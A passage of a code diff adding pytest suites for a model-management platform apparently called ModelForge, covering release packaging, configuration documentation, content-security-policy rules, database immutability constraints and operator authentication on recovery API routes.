+ROOT = Path(__file__).resolve().parents[2]
+DOCKERFILES = (
+    "backend/Dockerfile",
+    "frontend/Dockerfile",
+    "node-agent/Dockerfile",
+    "runtime-worker/Dockerfile",
+)
+
+
+# --------------------------------------------------------------------------- configuration
+
+
+def test_every_setting_is_documented() -> None:
+    """A setting added without documentation fails the build rather than shipping quietly."""
+
+    undocumented = sorted(set(Settings.model_fields) - set(SETTING_DOCS))
+    assert not undocumented, f"undocumented settings: {undocumented}"
+
+
+def test_the_reference_documents_no_setting_that_no_longer_exists() -> None:
+    stale = sorted(set(SETTING_DOCS) - set(Settings.model_fields))
+    assert not stale, f"documented settings that no longer exist: {stale}"
+
+
+def test_the_generated_configuration_files_are_current() -> None:
+    """`.env.example` and the configuration reference are generated, never hand-edited."""
+
+    completed = subprocess.run(  # noqa: S603 - fixed argv, no shell
+        [sys.executable, str(ROOT / "scripts" / "generate_configuration_docs.py"), "--check"],
+        capture_output=True,
+        text=True,
+        encoding="utf-8",
+        errors="replace",
+        cwd=ROOT,
+        check=False,
+    )
+    assert completed.returncode == 0, (
+        "configuration documentation is stale; run "
+        f"scripts/generate_configuration_docs.py\n{completed.stdout}{completed.stderr}"
+    )
+
+
+def test_the_example_configuration_carries_no_secret_values() -> None:
+    """The example is committed, so a real value in it would be published with the release."""
+
+    text = (ROOT / ".env.example").read_text("utf-8")
+    secret_names = [
+        f"MODELFORGE_{name.upper()}"
+        for name, doc in SETTING_DOCS.items()
+        if doc.sensitivity is Sensitivity.SECRET
+    ]
+    for name in secret_names:
+        for line in text.splitlines():
+            if line.startswith(f"{name}="):
+                assert line == f"{name}=", f"{name} carries a value in .env.example"
+
+
+def test_every_required_production_setting_appears_in_the_example() -> None:
+    text = (ROOT / ".env.example").read_text("utf-8")
+    for name, doc in SETTING_DOCS.items():
+        if doc.required_in_production:
+            assert f"MODELFORGE_{name.upper()}=" in text, f"{name} is required but not offered"
+
+
+def test_deployment_variables_are_documented_too() -> None:
+    """Variables Compose and the agents read are still variables an operator has to set."""
+
+    text = (ROOT / ".env.example").read_text("utf-8")
+    for name in DEPLOYMENT_DOCS:
+        assert f"{name}=" in text, f"{name} is undocumented in .env.example"
+
+
+# --------------------------------------------------------------------------- production overlay
+
+
+def test_the_production_overlay_exists_and_sets_the_production_profile() -> None:
+    """Without MODELFORGE_ENV=production every fail-closed startup rule stays switched off."""
+
+    text = (ROOT / "docker-compose.production.yml").read_text("utf-8")
+    assert "MODELFORGE_ENV: production" in text
+
+
+@pytest.mark.parametrize(
+        "variable",
+        [
+            "MODELFORGE_POSTGRES_ADMIN_PASSWORD",
+            "MODELFORGE_MIGRATION_DB_PASSWORD",
+            "MODELFORGE_RUNTIME_DB_PASSWORD",
+            "MODELFORGE_MIGRATION_DATABASE_URL",
+            "MODELFORGE_RUNTIME_DATABASE_URL",
+            "MODELFORGE_OPERATOR_API_KEY",
+        "MODELFORGE_BACKUP_ENCRYPTION_KEY",
+        "MODELFORGE_CORS_ORIGINS",
+    ],
+)
+def test_the_production_overlay_refuses_to_render_without_its_secrets(variable: str) -> None:
+    """`${VAR:?message}` makes Compose fail before a single container starts."""
+
+    text = (ROOT / "docker-compose.production.yml").read_text("utf-8")
+    assert re.search(rf"\$\{{{variable}:\?[^}}]+\}}", text), (
+        f"{variable} must use the ${{VAR:?message}} form so a missing value fails the render"
+    )
+
+
+def test_the_production_overlay_never_permits_remote_code() -> None:
+    text = (ROOT / "docker-compose.production.yml").read_text("utf-8")
+    assert 'MODELFORGE_ALLOW_REMOTE_CODE: "false"' in text
+
+
+def test_the_base_compose_file_is_not_mistakable_for_production() -> None:
+    """The base file is development-only; role secrets are still required and never embedded."""
+
+    text = (ROOT / "docker-compose.yml").read_text("utf-8")
+    assert "MODELFORGE_ENV: production" not in text
+
+
+# --------------------------------------------------------------------------- images
+
+
+@pytest.mark.parametrize("dockerfile", DOCKERFILES)
+def test_every_image_carries_oci_identity_labels(dockerfile: str) -> None:
+    text = (ROOT / dockerfile).read_text("utf-8")
+    for label in (
+        "org.opencontainers.image.version",
+        "org.opencontainers.image.revision",
+        "org.opencontainers.image.created",
+        "org.opencontainers.image.source",
+    ):
+        assert label in text, f"{dockerfile} does not declare {label}"
+
+
+@pytest.mark.parametrize("dockerfile", DOCKERFILES)
+def test_every_image_accepts_build_identity_arguments(dockerfile: str) -> None:
+    text = (ROOT / dockerfile).read_text("utf-8")
+    for argument in ("MODELFORGE_VERSION", "MODELFORGE_COMMIT", "MODELFORGE_BUILT_AT"):
+        assert f"ARG {argument}" in text, f"{dockerfile} does not accept {argument}"
+
+
+@pytest.mark.parametrize("dockerfile", DOCKERFILES)
+def test_every_image_declares_the_product_license(dockerfile: str) -> None:
+    text = (ROOT / dockerfile).read_text("utf-8")
+    assert 'org.opencontainers.image.licenses="AGPL-3.0-or-later"' in text
+    assert 'org.opencontainers.image.licenses="Proprietary"' not in text
+
+
+def test_every_component_declares_the_product_license() -> None:
+    for relative_path in (
+        "backend/pyproject.toml",
+        "node-agent/pyproject.toml",
+        "runtime-worker/pyproject.toml",
+    ):
+        metadata = tomllib.loads((ROOT / relative_path).read_text("utf-8"))
+        assert metadata["project"]["license"] == "AGPL-3.0-or-later"
+
+    package = json.loads((ROOT / "frontend/package.json").read_text("utf-8"))
+    lock = json.loads((ROOT / "frontend/package-lock.json").read_text("utf-8"))
+    assert package["license"] == "AGPL-3.0-or-later"
+    assert lock["packages"][""]["license"] == "AGPL-3.0-or-later"
+
+
+def test_the_console_image_serves_a_build_not_a_development_server() -> None:
+    text = (ROOT / "frontend" / "Dockerfile").read_text("utf-8")
+    assert "npm run build" in text
+    assert "nginx-unprivileged" in text
+    assert "npm run dev" not in text
+
+
+def test_the_node_agent_compose_projection_accepts_an_exact_release_image() -> None:
+    text = (ROOT / "docker-compose.node-agent.yml").read_text("utf-8")
+    assert "MODELFORGE_NODE_AGENT_IMAGE" in text
+    assert "image:" in text
+    assert "build:" in text, "the optional local source-build workflow must remain available"
+    assert "latest" not in next(
+        line for line in text.splitlines() if line.strip().startswith("image:")
+    )
+
+
+def test_the_production_control_plane_never_falls_back_to_latest() -> None:
+    text = (ROOT / "docker-compose.production.yml").read_text("utf-8")
+    image_lines = [line for line in text.splitlines() if line.strip().startswith("image:")]
+    assert len(image_lines) == 3
+    assert all("latest" not in line for line in image_lines)
+    assert all("MODELFORGE_VERSION:?" in line for line in image_lines)
+    assert text.count("build:") == 2, "the explicit local source-build workflow must remain"
+
+
+def test_the_release_builder_never_mutates_a_floating_latest_tag() -> None:
+    source = (ROOT / "scripts" / "release_build.py").read_text("utf-8")
+    assert 'f"{image}:latest"' not in source
+
+
+def test_upgrade_runbook_starts_prebuilt_release_images() -> None:
+    runbook = (ROOT / "docs" / "UPGRADE.md").read_text("utf-8")
+    start_step = runbook.split("## 5. Start the new version", 1)[1].split("## 6. Verify", 1)[0]
+    version = (ROOT / "VERSION").read_text("utf-8").strip()
+    assert f"MODELFORGE_VERSION={version}" in start_step
+    assert f"MODELFORGE_API_IMAGE=modelforge-api:{version}" in start_step
+    assert f"MODELFORGE_WEB_IMAGE=modelforge-web:{version}" in start_step
+    assert "up -d --no-build api web" in start_step
+    assert "up -d --build api web" not in start_step
+
+
+# --------------------------------------------------------------------------- release build
+
+
+def test_the_release_package_carries_no_secret_material() -> None:
+    """Whatever else changes, the tarball must never contain a credential or a database dump."""
+
+    from importlib.util import module_from_spec, spec_from_file_location
+
+    spec = spec_from_file_location("release_build", ROOT / "scripts" / "release_build.py")
+    assert spec and spec.loader
+    module = module_from_spec(spec)
+    sys.modules["release_build"] = module
+    spec.loader.exec_module(module)
+
+    # Match on what a file *is*, not on what its name mentions: docker-compose.backup.yml is a
+    # deployment manifest for taking backups, not a backup, and a substring rule that cannot tell
+    # those apart is a rule nobody will trust the next time it fires.
+    secret_suffixes = {".key", ".pem", ".p12", ".pfx", ".crt", ".sql", ".dump", ".tar", ".gz"}
+    secret_names = {".env", "secrets.yaml", "secrets.yml", "secrets.json", "credentials.json"}
+    for path in module.ARTIFACT_PATHS:
+        name = PurePosixPath(path).name.lower()
+        assert name not in secret_names, f"{path} is secret material and must not be packaged"
+        assert PurePosixPath(name).suffix not in secret_suffixes, (
+            f"{path} has a {PurePosixPath(name).suffix} extension and must not be packaged"
+        )
+    assert ".env" not in module.ARTIFACT_PATHS
+    assert ".env.example" in module.ARTIFACT_PATHS
+
+
+def test_the_release_package_carries_no_model_weights() -> None:
+    from importlib.util import module_from_spec, spec_from_file_location
+
+    spec = spec_from_file_location("release_build2", ROOT / "scripts" / "release_build.py")
+    assert spec and spec.loader
+    module = module_from_spec(spec)
+    spec.loader.exec_module(module)
+    for path in module.ARTIFACT_PATHS:
+        assert "artifact" not in path.lower()
+        assert "model-registry" not in path.lower()
+
+
+def test_the_release_package_includes_what_an_operator_needs_to_install() -> None:
+    from importlib.util import module_from_spec, spec_from_file_location
+
+    spec = spec_from_file_location("release_build3", ROOT / "scripts" / "release_build.py")
+    assert spec and spec.loader
+    module = module_from_spec(spec)
+    spec.loader.exec_module(module)
+    paths = set(module.ARTIFACT_PATHS)
+    for required in (
+        "docker-compose.yml",
+        "docker-compose.production.yml",
+        ".env.example",
+        "VERSION",
+        "docs",
+        "config",
+        "scripts/bootstrap.py",
+        "scripts/preflight.py",
+    ):
+        assert required in paths, f"a release without {required} cannot be installed from"
+
+
+def test_the_version_file_matches_the_product_version() -> None:
+    assert (ROOT / "VERSION").read_text("utf-8").strip() == PRODUCT_VERSION
+
+
+# --------------------------------------------------------------------------- migration targeting
+
+
+def test_the_migration_environment_honours_an_explicitly_supplied_url() -> None:
+    """A migration must run where the caller aimed it, not where the settings point.
+
+    env.py used to overwrite `sqlalchemy.url` with the settings default unconditionally, so both
+    `-x db_url=...` and a programmatic `set_main_option` were silently discarded. A bootstrap or
+    upgrade rehearsal aimed at an isolated copy would have migrated the deployment's own database
+    while reporting success against the copy.
+    """
+
+    text = (ROOT / "backend" / "alembic" / "env.py").read_text("utf-8")
+    assert "get_x_argument" in text, "-x db_url must be honoured"
+    assert 'config.get_main_option("sqlalchemy.url", None)' in text, (
+        "a programmatically supplied URL must be honoured"
+    )
+    unconditional = 'config.set_main_option("sqlalchemy.url", get_settings().database_url)'
+    assert unconditional not in text, (
+        "the settings URL must be a fallback, never an unconditional override"
+    )
+
+
+def test_the_migration_configuration_hardcodes_no_database_url() -> None:
+    """A URL baked into alembic.ini is a URL an operator can migrate the wrong database with."""
+
+    for line in (ROOT / "backend" / "alembic.ini").read_text("utf-8").splitlines():
+        if line.strip().startswith("sqlalchemy.url"):
+            _, _, value = line.partition("=")
+            assert not value.strip(), f"alembic.ini pins a database URL: {value.strip()!r}"
+
+
+# --------------------------------------------------------------------------- clean checkout
+
+
+def _tracked_files() -> set[str]:
+    completed = subprocess.run(
+        ["git", "ls-files"],  # noqa: S607 - git resolves from PATH, as it must
+        capture_output=True,
+        text=True,
+        encoding="utf-8",
+        errors="replace",
+        cwd=ROOT,
+        check=True,
+    )
+    return set(completed.stdout.split())
+
+
+def test_every_manifest_the_control_plane_needs_at_startup_is_tracked() -> None:
+    """A clean clone must be able to start. Ours could not.
+
+    `.gitignore` carried a bare `models/` rule intended for model weights. It also matched
+    `config/models/`, so the candidate registry manifest was silently excluded from the repository,
+    and the API failed at startup with FileNotFoundError whenever registry seeding was enabled. The
+    fresh-install rehearsal only passed because it mounted the developer's untracked copy — which is
+    exactly the developer-state dependency a release is supposed to rule out.
+    """
+
+    tracked = _tracked_files()
+    required = [
+        "config/models/initial-candidates.yaml",
+        "config/policies/defaults.yaml",
+    ]
+    missing = [path for path in required if path not in tracked]
+    assert not missing, f"a clean checkout would be missing: {missing}"
+
+
+@pytest.mark.parametrize(
+    "directory",
+    ["config", "backend/src", "backend/tests", "node-agent/src", "runtime-worker/src", "docs"],
+)
+def test_no_source_file_is_excluded_from_the_repository(directory: str) -> None:
+    """Whatever these directories grow, none of it may be invisible to a clean clone.
+
+    Two over-broad ignore rules each swallowed something that was reported as delivered. `models/`
+    hid the candidate registry manifest the control plane needs at startup, so a clean clone could
+    not start. `*credential*` hid backend/tests/test_credential_security_m16.py — the whole M16
+    credential security suite, 35 tests — and its documentation. Both existed on the machine that
+    wrote them and nowhere else.
+    """
+
+    tracked = _tracked_files()
+    suffixes = {".py", ".ts", ".tsx", ".md", ".yaml", ".yml", ".json", ".inc", ".template"}
+    on_disk = {
+        str(path.relative_to(ROOT)).replace("\\", "/")
+        for path in (ROOT / directory).rglob("*")
+        if path.is_file()
+        and path.suffix in suffixes
+        and not any(
+            part in {"__pycache__", "node_modules", ".pytest_cache", ".ruff_cache", ".mypy_cache"}
+            or part.endswith(".egg-info")
+            for part in path.parts
+        )
+    }
+    untracked = sorted(on_disk - tracked)
+    assert not untracked, (
+        f"these files exist locally but not in the repository, so a clean clone would not have "
+        f"them: {untracked}"
+    )
+
+
+# --------------------------------------------------------------------------- readiness cost
+
+
+def test_the_manifest_registry_reads_each_manifest_once() -> None:
+    """Readiness must not re-validate the whole manifest set on every probe.
+
+    M16 measured a p50 of 638 ms on /api/v1/health/ready under load and reported it as unexplained.
+    The cause was here: one readiness pass performed 77 YAML reads across 14 files — one file ten
+    times — because every accessor re-read from disk and projects() called capabilities() inside a
+    nested loop. Manifests are read-only configuration that cannot change without restarting the
+    process, so they are parsed once.
+    """
+
+    from modelforge_api.services.manifest_registry import ManifestRegistry
+
+    reads: list[str] = []
+    original = ManifestRegistry._read_yaml
+
+    def counting(path: Path) -> dict[str, object]:
+        reads.append(str(path))
+        return original(path)
+
+    registry = ManifestRegistry(ROOT / "config")
+    ManifestRegistry._read_yaml = staticmethod(counting)  # type: ignore[method-assign]
+    try:
+        for _ in range(3):
+            registry.capabilities()
+            registry.projects()
+            registry.candidates()
+            registry.benchmarks()
+            registry.policies()
+    finally:
+        ManifestRegistry._read_yaml = staticmethod(original)  # type: ignore[method-assign]
+
+    assert len(reads) == len(set(reads)), (
+        f"a manifest was read more than once: {sorted(reads)}"
+    )
+
+
+# --------------------------------------------------------------------------- content security
+
+
+def _csp_template() -> str:
+    return (ROOT / "frontend" / "security-headers.inc.template").read_text("utf-8")
+
+
+def test_the_console_declares_a_content_security_policy() -> None:
+    """M16 shipped six security headers and no CSP, and said so. v1 closes that."""
+
+    assert "Content-Security-Policy" in _csp_template()
+
+
+@pytest.mark.parametrize(
+    "directive",
+    [
+        "default-src 'none'",
+        "script-src 'self'",
+        "base-uri 'none'",
+        "frame-ancestors 'none'",
+        "object-src 'none'",
+    ],
+)
+def test_the_policy_is_restrictive_where_it_can_be(directive: str) -> None:
+    assert directive in _csp_template()
+
+
+def test_the_policy_never_allows_inline_or_evaluated_script() -> None:
+    """The two directives that would make the rest of the policy decorative."""
+
+    policy = _csp_template()
+    script_directive = policy.split("script-src", 1)[1].split(";", 1)[0]
+    assert "unsafe-inline" not in script_directive
+    assert "unsafe-eval" not in script_directive
+
+
+def test_inline_style_is_permitted_only_as_an_attribute() -> None:
+    """The console sets five dynamic widths through style attributes and nothing else.
+
+    `style-src-attr 'unsafe-inline'` allows exactly those while still blocking an injected
+    `<style>` element, which a blanket `style-src 'unsafe-inline'` would not.
+    """
+
+    policy = _csp_template()
+    style_directive = policy.split("style-src ", 1)[1].split(";", 1)[0]
+    assert "unsafe-inline" not in style_directive
+    assert "style-src-attr 'unsafe-inline'" in policy
+
+
+def test_the_built_console_contains_nothing_the_policy_forbids() -> None:
+    """A policy the application violates is a policy someone will switch off.
+
+    Checked against the built bundle rather than asserted: no inline <script>, no inline <style>,
+    and no javascript: URL. The favicon is a data: URI, which img-src permits.
+    """
+
+    index = ROOT / "frontend" / "dist" / "index.html"
+    if not index.is_file():
+        pytest.skip("the console has not been built in this working tree")
+    html = index.read_text("utf-8")
+    assert not re.search(r"<script(?![^>]*\ssrc=)[^>]*>", html), "an inline <script> would be blocked"
+    assert "<style" not in html, "an inline <style> element would be blocked"
+    assert "javascript:" not in html
+    for match in re.findall(r'src="([^"]+)"|href="([^"]+)"', html):
+        value = match[0] or match[1]
+        assert value.startswith(("/", "./", "data:")), (
+            f"{value} is an external reference the policy does not allow"
+        )
+
+
+# --------------------------------------------------------------------------- documentation
+
+
+def test_the_operator_documentation_a_release_promises_is_present() -> None:
+    """An operator should not need a milestone report to install or run ModelForge."""
+
+    required = [
+        "README.md",
+        "CHANGELOG.md",
+        "docs/INSTALLATION.md",
+        "docs/FIRST_RUN.md",
+        "docs/UPGRADE.md",
+        "docs/CONFIGURATION.md",
+        "docs/COMPATIBILITY.md",
+        "docs/NODE_AGENT.md",
+        "docs/UNRAID_DEPLOYMENT.md",
+        "docs/CAPABILITIES.md",
+        "docs/PROJECT_INTEGRATION.md",
+        "docs/OPERATIONS.md",
+        "docs/TROUBLESHOOTING.md",
+        "docs/SECURITY.md",
+        f"docs/RELEASE_NOTES_v{PRODUCT_VERSION}.md",
+    ]
+    missing = [path for path in required if not (ROOT / path).is_file()]
+    assert not missing, f"missing operator documentation: {missing}"
+
+
+def test_no_documentation_link_is_broken() -> None:
+    """Documentation that points at a file which is not there is worse than none."""
+
+    broken: list[str] = []
+    documents = list(ROOT.glob("*.md")) + list((ROOT / "docs").rglob("*.md"))
+    for document in documents:
+        for target in re.findall(r"\]\(([^)#]+?)(?:#[^)]*)?\)", document.read_text("utf-8")):
+            if target.startswith(("http://", "https://", "mailto:")):
+                continue
+            if not (document.parent / target).resolve().exists():
+                broken.append(f"{document.relative_to(ROOT).as_posix()} -> {target}")
+    assert not broken, f"broken documentation links: {broken}"
+
+
+def test_the_release_notes_name_this_version() -> None:
+    notes = (ROOT / "docs" / f"RELEASE_NOTES_v{PRODUCT_VERSION}.md").read_text("utf-8")
+    assert PRODUCT_VERSION in notes
+    assert "Known limitations" in notes, "a release that lists no limitations has not looked"
+
+
+def test_the_release_archive_is_built_reproducibly() -> None:
+    """Two builds of the same tree must produce the same bytes, or a published checksum means little.
+
+    Two things break this and both were found by building twice and comparing rather than by
+    reasoning about it: tar records uid, gid and mtime per entry, and gzip writes the current time
+    into its own header.
+    """
+
+    source = (ROOT / "scripts" / "release_build.py").read_text("utf-8")
+    assert "mtime=0" in source, "the gzip header must not carry a build timestamp"
+    assert "info.mtime = 0" in source, "entry mtimes must be normalised"
+    assert 'info.uname = info.gname = "root"' in source, "entry ownership must be normalised"
+    assert "recursive=False" in source, "tar.add must not recurse and duplicate every entry"
+
+
+def test_build_identity_is_never_overridden_at_deployment_time() -> None:
+    """An image knows what it was built from; whoever runs `up` does not.
+
+    The Compose files used to pass MODELFORGE_BUILD_COMMIT and MODELFORGE_BUILD_TIMESTAMP as runtime
+    environment, which override the image's own values. The release candidate reported the commit
+    of whatever was checked out when it was started — not the commit its image was built from — and
+    a null build time, because the unset variable blanked what the image already carried.
+    """
+
+    for name in ("docker-compose.yml", "docker-compose.production.yml"):
+        text = (ROOT / name).read_text("utf-8")
+        for variable in ("MODELFORGE_BUILD_COMMIT", "MODELFORGE_BUILD_TIMESTAMP"):
+            for line in text.splitlines():
+                stripped = line.strip()
+                if stripped.startswith(f"{variable}:"):
+                    raise AssertionError(
+                        f"{name} sets {variable} at runtime; build identity must come from the "
+                        f"image's own build arguments"
+                    )
+        # The build arguments themselves must still be accepted.
+        assert "MODELFORGE_COMMIT:" in text, f"{name} must pass the commit as a build argument"
+
+
+# --------------------------------------------------------------------------- reproducible install
+
+
+@pytest.mark.parametrize(
+    "manifest",
+    ["backend/pyproject.toml", "node-agent/pyproject.toml", "runtime-worker/pyproject.toml"],
+)
+def test_every_dependency_is_pinned_to_an_exact_version(manifest: str) -> None:
+    """A release must resolve to the same versions on any day, on any machine.
+
+    It did not. `sqlalchemy>=2.0,<3` resolved to 2.0.35 in the development environment and 2.0.52
+    in a clean install — and 2.0.52 narrowed `Session.execute`'s return type, so the type check
+    passed locally and failed in CI on identical code. The gate depended on when you ran it.
+    """
+
+    import tomllib
+
+    data = tomllib.loads((ROOT / manifest).read_text("utf-8"))
+    project = data["project"]
+    specs = list(project.get("dependencies", []))
+    for extra in project.get("optional-dependencies", {}).values():
+        specs.extend(extra)
+
+    unpinned = [
+        spec
+        for spec in specs
+        if "==" not in spec or any(operator in spec for operator in (">=", "<=", ">", "<", "~="))
+    ]
+    assert not unpinned, f"{manifest} declares unpinned dependencies: {unpinned}"
+
+
+def test_the_type_checker_version_is_pinned_everywhere_it_runs() -> None:
+    """The gate must not change its answer because a tool released a new version overnight."""
+
+    import tomllib
+
+    seen: set[str] = set()
+    for manifest in (
+        "backend/pyproject.toml",
+        "node-agent/pyproject.toml",
+        "runtime-worker/pyproject.toml",
+    ):
+        data = tomllib.loads((ROOT / manifest).read_text("utf-8"))
+        for extra in data["project"].get("optional-dependencies", {}).values():
+            for spec in extra:
+                if spec.startswith(("mypy", "ruff")):
+                    seen.add(spec)
+    mypy_pins = {spec for spec in seen if spec.startswith("mypy")}
+    ruff_pins = {spec for spec in seen if spec.startswith("ruff")}
+    assert len(mypy_pins) == 1, f"components disagree on the mypy version: {sorted(mypy_pins)}"
+    assert len(ruff_pins) == 1, f"components disagree on the ruff version: {sorted(ruff_pins)}"
+
+
+def test_the_example_configuration_uses_container_paths_not_host_paths() -> None:
+    """The defaults are paths inside a Linux container, whatever platform generated the file.
+
+    `str(Path("/data/backups"))` yields `\\data\backups` on Windows, and the committed
+    .env.example shipped exactly that — telling an operator to point a Linux container at a Windows
+    path, and making the generated files differ by platform so the freshness check passed on one and
+    failed on the other.
+    """
+
+    text = (ROOT / ".env.example").read_text("utf-8")
+    offenders = [
+        line
+        for line in text.splitlines()
+        if line.startswith("MODELFORGE_") and "\\" in line.partition("=")[2]
+    ]
+    assert not offenders, f"host-style paths in .env.example: {offenders}"
+
+
+def test_no_test_silently_requires_a_live_database() -> None:
+    """A suite that passes only where a database happens to be running is not a suite.
+
+    test_api.py called an endpoint without overriding `get_session`, so it used the real engine and
+    quietly required PostgreSQL on localhost. It passed on the development machine and failed
+    everywhere else.
+    """
+
+    source = (ROOT / "backend" / "tests" / "test_api.py").read_text("utf-8")
+    # Every test that reaches a session-backed route must install an override first.
+    uses_client = source.count("client.get(")
+    overrides = source.count("app.dependency_overrides[get_session]")
+    assert overrides >= 1, "test_api.py must override get_session rather than use the real engine"
+    # A DSN, not the word: the docstring above mentions PostgreSQL precisely because that is what
+    # went wrong, and a rule that cannot tell prose from a connection string is a rule that will be
+    # switched off the first time it fires wrongly.
+    assert not re.search(r"postgresql(\+\w+)?://", source), (
+        "no test may name a PostgreSQL DSN; the suite runs against SQLite"
+    )
+    assert uses_client > 0

backend/tests/test_persistence.py

@@ -0,0 +1,118 @@
+from datetime import UTC, datetime
+
+import pytest
+from sqlalchemy import create_engine
+from sqlalchemy.orm import Session
+
+from modelforge_api.persistence.models import Base, Model, ModelRevision
+from modelforge_api.services.audit import AuditWriter
+
+
+def test_m0_schema_contains_required_domain_tables() -> None:
+    required = {
+        "models",
+        "model_revisions",
+        "model_artifacts",
+        "derived_artifacts",
+        "runtime_profiles",
+        "deployments",
+        "capabilities",
+        "capability_contracts",
+        "projects",
+        "project_bindings",
+        "compute_nodes",
+        "accelerators",
+        "benchmark_suites",
+        "benchmark_runs",
+        "experiments",
+        "recommendations",
+        "promotions",
+        "migrations",
+        "audit_events",
+        "gpu_leases",
+        "resource_envelopes",
+        "host_telemetry_latest",
+        "accelerator_telemetry_latest",
+        "storage_volume_states",
+        "hardware_inventory_runs",
+        "node_enrollments",
+        "node_credentials",
+        "upstream_snapshots",
+        "upstream_files",
+        "artifact_sets",
+        "download_plans",
+        "download_plan_files",
+        "artifact_jobs",
+        "artifact_job_attempts",
+        "artifact_inspections",
+        "artifact_set_members",
+    }
+    assert required <= set(Base.metadata.tables)
+
+
+def test_audit_events_cannot_be_updated_or_deleted() -> None:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as session:
+        event = AuditWriter(session, "operator", "test").write(
+            "test", "model", None, {}
+        )
+        session.commit()
+        event.outcome = "changed"
+        try:
+            raised = False
+            session.commit()
+        except ValueError:
+            raised = True
+            session.rollback()
+        assert raised
+
+
+def test_approved_revision_identity_is_immutable() -> None:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as session:
+        model = Model(
+            key="test",
+            display_name="Test",
+            upstream_provider="test",
+            upstream_source="test/model",
+            modalities=[],
+            parameter_metadata={},
+            license_metadata={},
+        )
+        revision = ModelRevision(
+            model=model,
+            upstream_revision="main",
+            resolved_commit_sha="a" * 40,
+            metadata_snapshot={},
+            immutable_at=datetime.now(UTC),
+        )
+        session.add_all([model, revision])
+        session.commit()
+        revision.resolved_commit_sha = "b" * 40
+        with pytest.raises(ValueError, match="immutable approved fields"):
+            session.commit()
+
+
+def test_accelerator_uuid_is_unique_per_node() -> None:
+    from sqlalchemy.exc import IntegrityError
+
+    from modelforge_api.persistence.models import Accelerator, ComputeNode
+
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as session:
+        node = ComputeNode(key="node", hostname="host", display_name="Host", identity_source="test")
+        session.add(node)
+        session.flush()
+        session.add_all(
+            [
+                Accelerator(compute_node_id=node.id, device_index=0, device_uuid="GPU-A", name="A"),
+                Accelerator(
+                    compute_node_id=node.id, device_index=1, device_uuid="GPU-A", name="A again"
+                ),
+            ]
+        )
+        with pytest.raises(IntegrityError):
+            session.commit()

backend/tests/test_project_registry.py

@@ -0,0 +1,43 @@
+from sqlalchemy import create_engine
+from sqlalchemy.orm import Session
+
+from modelforge_api.persistence.models import (
+    Base,
+    Capability,
+    CapabilityContract,
+    Project,
+    ProjectBinding,
+)
+from modelforge_api.services.manifest_registry import ManifestRegistry
+from modelforge_api.services.project_registry import sync_project_registry
+
+
+def test_project_registry_materializes_only_real_contracts_and_is_idempotent() -> None:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as session:
+        capability = Capability(key="rag.embedding", description="test")
+        session.add(capability)
+        session.flush()
+        session.add(
+            CapabilityContract(
+                capability_id=capability.id,
+                version=1,
+                input_schema={},
+                output_schema={},
+                contract={},
+                upgrade_class="requires_reindex",
+            )
+        )
+        session.commit()
+
+        first = sync_project_registry(session, ManifestRegistry())
+        second = sync_project_registry(session, ManifestRegistry())
+
+        assert first.projects_created == 3
+        assert first.bindings_created == 1
+        assert first.unavailable_contracts
+        assert second.projects_created == 0
+        assert second.bindings_created == 0
+        assert session.query(Project).count() == 3
+        assert session.query(ProjectBinding).count() == 1

backend/tests/test_recovery_api_m15.py

@@ -0,0 +1,302 @@
+"""M15 recovery API contract tests: operator isolation, redaction and typed error envelopes."""
+
+from __future__ import annotations
+
+import uuid
+from pathlib import Path
+from typing import Any
+
+import pytest
+from fastapi.testclient import TestClient
+from sqlalchemy import create_engine
+from sqlalchemy.orm import Session
+from sqlalchemy.pool import StaticPool
+
+from modelforge_api.api.routes.recovery import get_service
+from modelforge_api.db import get_session
+from modelforge_api.main import app
+from modelforge_api.persistence.models import Base
+from modelforge_api.services.recovery import RecoveryService
+from modelforge_api.settings import Settings, get_settings
+from tests.test_recovery_m15 import seed_backup, settings_for
+
+client = TestClient(app)
+ADMIN = {"X-ModelForge-Admin-Token": "m15-operator-token"}
+
+RECOVERY_ROUTES = (
+    ("GET", "/api/v1/admin/recovery/dashboard"),
+    ("GET", "/api/v1/admin/recovery/policies"),
+    ("GET", "/api/v1/admin/recovery/assets"),
+    ("GET", "/api/v1/admin/recovery/capacity"),
+    ("GET", "/api/v1/admin/recovery/backups"),
+    ("GET", "/api/v1/admin/recovery/restore-plans"),
+    ("GET", "/api/v1/admin/recovery/restore-operations"),
+    ("GET", "/api/v1/admin/recovery/artifact-recoveries"),
+    ("GET", "/api/v1/admin/recovery/fingerprint"),
+    ("POST", "/api/v1/admin/recovery/retention/run"),
+)
+
+
+@pytest.fixture
+def recovery(tmp_path: Path) -> Any:
+    engine = create_engine(
+        "sqlite+pysqlite:///:memory:",
+        connect_args={"check_same_thread": False},
+        poolclass=StaticPool,
+    )
+    Base.metadata.create_all(engine)
+    settings = settings_for(tmp_path, operator_api_key="m15-operator-token")
+    with Session(engine) as session:
+        service = RecoveryService(session, settings)
+        service.ensure_defaults()
+        app.dependency_overrides[get_session] = lambda: session
+        app.dependency_overrides[get_settings] = lambda: settings
+        app.dependency_overrides[get_service] = lambda: service
+        try:
+            yield session, service, settings
+        finally:
+            app.dependency_overrides.clear()
+
+
+@pytest.mark.parametrize(("method", "path"), RECOVERY_ROUTES)
+def test_every_recovery_route_requires_an_operator_credential(
+    recovery: Any, method: str, path: str
+) -> None:
+    response = client.request(method, path)
+    assert response.status_code == 401
+    assert response.json()["error"]["code"] == "http_401"
+
+
+@pytest.mark.parametrize(("method", "path"), RECOVERY_ROUTES)
+def test_a_wrong_operator_credential_is_refused(recovery: Any, method: str, path: str) -> None:
+    response = client.request(method, path, headers={"X-ModelForge-Admin-Token": "wrong"})
+    assert response.status_code == 401
+
+
+def test_recovery_routes_are_unavailable_when_no_operator_key_is_configured(
+    tmp_path: Path,
+) -> None:
+    engine = create_engine(
+        "sqlite+pysqlite:///:memory:",
+        connect_args={"check_same_thread": False},
+        poolclass=StaticPool,
+    )
+    Base.metadata.create_all(engine)
+    settings = settings_for(tmp_path, operator_api_key=None)
+    with Session(engine) as session:
+        app.dependency_overrides[get_session] = lambda: session
+        app.dependency_overrides[get_settings] = lambda: settings
+        try:
+            response = client.get("/api/v1/admin/recovery/dashboard", headers=ADMIN)
+            assert response.status_code == 503
+        finally:
+            app.dependency_overrides.clear()
+
+
